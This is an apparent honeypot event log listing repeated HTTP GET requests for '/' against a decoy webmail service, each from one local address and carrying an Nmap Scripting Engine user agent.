  <134>1 2026-04-08T04:54:51.164124+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:55:01
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:55:01.338304+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:55:11
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:55:11.513185+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:55:21
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:55:21.690909+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:55:31
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:55:31.870223+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:55:42
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:55:42.057283+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:55:52
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:55:52.234069+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:56:02
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:56:02.416860+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:56:12
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:56:12.594749+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:56:22
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:56:22.771785+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:56:32
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:56:32.950615+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:56:43
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:56:43.124757+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:56:53
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:56:53.295718+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:57:03
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:57:03.471464+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:57:13
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:57:13.646236+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:57:23
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:57:23.819142+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:57:33
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:57:33.984119+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:57:44
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:57:44.147812+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:57:54
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:57:54.308893+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


